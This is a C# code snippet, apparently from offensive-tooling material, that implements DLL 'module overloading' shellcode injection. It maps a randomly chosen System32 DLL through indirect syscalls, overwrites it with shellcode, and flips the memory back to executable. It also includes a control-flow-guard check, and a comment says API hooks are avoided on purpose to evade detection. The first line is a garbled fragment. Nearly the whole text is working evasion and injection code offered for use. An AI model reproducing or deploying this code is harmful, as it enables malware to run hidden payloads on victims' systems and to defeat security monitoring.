files = new List If we are doing this in dotnet, need to take control flow guard (CFG) into consideration too. During the search for a suitable module, ensure it passes this functionpublic static IntPtr overload(byte[] shellcode, dll ntdll)
{
int size = shellcode.Length;
string dllToOverload = "";
string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
List<string> files = new List<string>(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
{
if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
{
files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
}
}
//Pick a random candidate that meets the requirements
Random r = new Random();
//List of candidates that have been considered and rejected
List<int> candidates = new List<int>();
while (candidates.Count != files.Count)
{
//Iterate through the list of files randomly
int rInt = r.Next(0, files.Count);
string currentCandidate = files[rInt];
//Check that the size of the module meets requirements
if (candidates.Contains(rInt) == false && new FileInfo(currentCandidate).Length >= size)
{
dllToOverload = currentCandidate;
break;
}
candidates.Add(rInt);
}
//Overloading time
//Init the UNICODE_STRING argument for mapview
Structs.UNICODE_STRING dllName = new Structs.UNICODE_STRING();
void RtlInitUnicodeString( ref Structs.UNICODE_STRING destinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
//Rewritten RtlInitUnicodeString because I do not want to chance hooks.
const short MaxSize = (short.MaxValue & ~1) - 2; //sizeof(UNICODE_NULL) = 4 but for some reason half
short size = (short)(SourceString.Length * 2); //sizeof(WCHAR) = 4, but for some reason half
if (size > MaxSize) size = MaxSize;
destinationString.Length = (ushort)size;
destinationString.MaximumLength = (ushort)(size + 2);
destinationString.Buffer = Marshal.StringToHGlobalUni(SourceString); //write the string into memory
}
RtlInitUnicodeString(ref dllName, (@"\\??\\" + dllToOverload));
//Map it into memory
IntPtr pDllName = Marshal.AllocHGlobal(Marshal.SizeOf(dllName));
Marshal.StructureToPtr(dllName, pDllName, true);
//Initialize Object Attributes
Structs.OBJECT_ATTRIBUTES objectAttributes = new Structs.OBJECT_ATTRIBUTES();
objectAttributes.Length = Marshal.SizeOf(objectAttributes);
objectAttributes.ObjectName = pDllName;
objectAttributes.Attributes = 0x40; //OBJ_CASE_INSENSITIVE
Structs.IO_STATUS_BLOCK ioStatusBlock = new Structs.IO_STATUS_BLOCK();
//grabbing the file handle
IntPtr hFile = IntPtr.Zero;
object[] argsNtOpenFile = new object[] { hFile, FileAccessFlags.FILE_READ_DATA | FileAccessFlags.FILE_EXECUTE | FileAccessFlags.FILE_READ_ATTRIBUTES | FileAccessFlags.SYNCHRONIZE, objectAttributes, ioStatusBlock, FileShareFlags.FILE_SHARE_READ | FileShareFlags.FILE_SHARE_DELETE, FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | FileOpenFlags.FILE_NON_DIRECTORY_FILE };
var retval = ntdll.indirectSyscallInvoke<Delegates.NtOpenFile>("NtOpenFile", argsNtOpenFile);
hFile = (IntPtr)argsNtOpenFile[0];
Console.WriteLine("hfile: 0x{0:X}, status code 0x{1:X}", hFile, retval);
objectAttributes = (Structs.OBJECT_ATTRIBUTES)argsNtOpenFile[2];
ioStatusBlock = (Structs.IO_STATUS_BLOCK)argsNtOpenFile[3];
//Creating a section from the file handle
IntPtr hSection = IntPtr.Zero;
ulong MaxSize = 0;
object[] argsNtCreateSection = new object[] { hSection, SECTION_ALL_ACCESS, IntPtr.Zero, MaxSize, PAGE_READONLY, SEC_IMAGE, hFile};
ntdll.indirectSyscallInvoke<Delegates.NtCreateSection>("NtCreateSection", argsNtCreateSection);
hSection = (IntPtr)argsNtCreateSection[0];
MaxSize = (ulong)argsNtCreateSection[3];
//Mapping View of the section
IntPtr pBaseAddress = IntPtr.Zero;
object[] argsNtMapViewOfSection = new object[] { hSection, (IntPtr)(-1), pBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, MaxSize, (uint)0x2, (uint)0x0, PAGE_READWRITE };
ntdll.indirectSyscallInvoke<Delegates.NtMapViewOfSection>("NtMapViewOfSection", argsNtMapViewOfSection);
pBaseAddress = (IntPtr)argsNtMapViewOfSection[2];
MaxSize = (ulong)argsNtMapViewOfSection[6];
//Make page writeable
ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", new object[] { (IntPtr)(-1), pBaseAddress, (IntPtr)size, PAGE_READWRITE, (uint)0 });
//Copy shellcode into the mapped dll
Console.WriteLine("{1} is at 0x{0:X}", (long)pBaseAddress, dllToOverload);
Marshal.Copy(shellcode, 0, pBaseAddress, size);
//Change back to executable
ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", new object[] { (IntPtr)(-1), pBaseAddress, (IntPtr)size, PAGE_EXECUTE_READ, (uint)0 });
return pBaseAddress;
}
//https://github.com/NetSPI/PESecurity/blob/master/Get-PESecurity.psm1. CFG is a bitch in some dlls that wont let us just jump into their address space
public static bool checkCFG(string dllPath)
{
byte[] dllBytes = File.ReadAllBytes(dllPath);
int e_lfanew = BitConverter.ToInt32(dllBytes, 0x3c);
short dllCharacteristics = BitConverter.ToInt16(dllBytes, e_lfanew + 0x18 + 70); //dllcharacteristics offset
if (((DllCharacteristics)dllCharacteristics).HasFlag(DllCharacteristics.IMAGE_DLLCHARACTERISTICS_GUARD_CF)) return true;
return false;
}